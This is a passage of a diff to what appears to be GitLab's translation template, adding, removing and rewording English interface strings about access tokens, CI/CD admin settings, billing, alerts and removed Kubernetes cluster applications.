+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
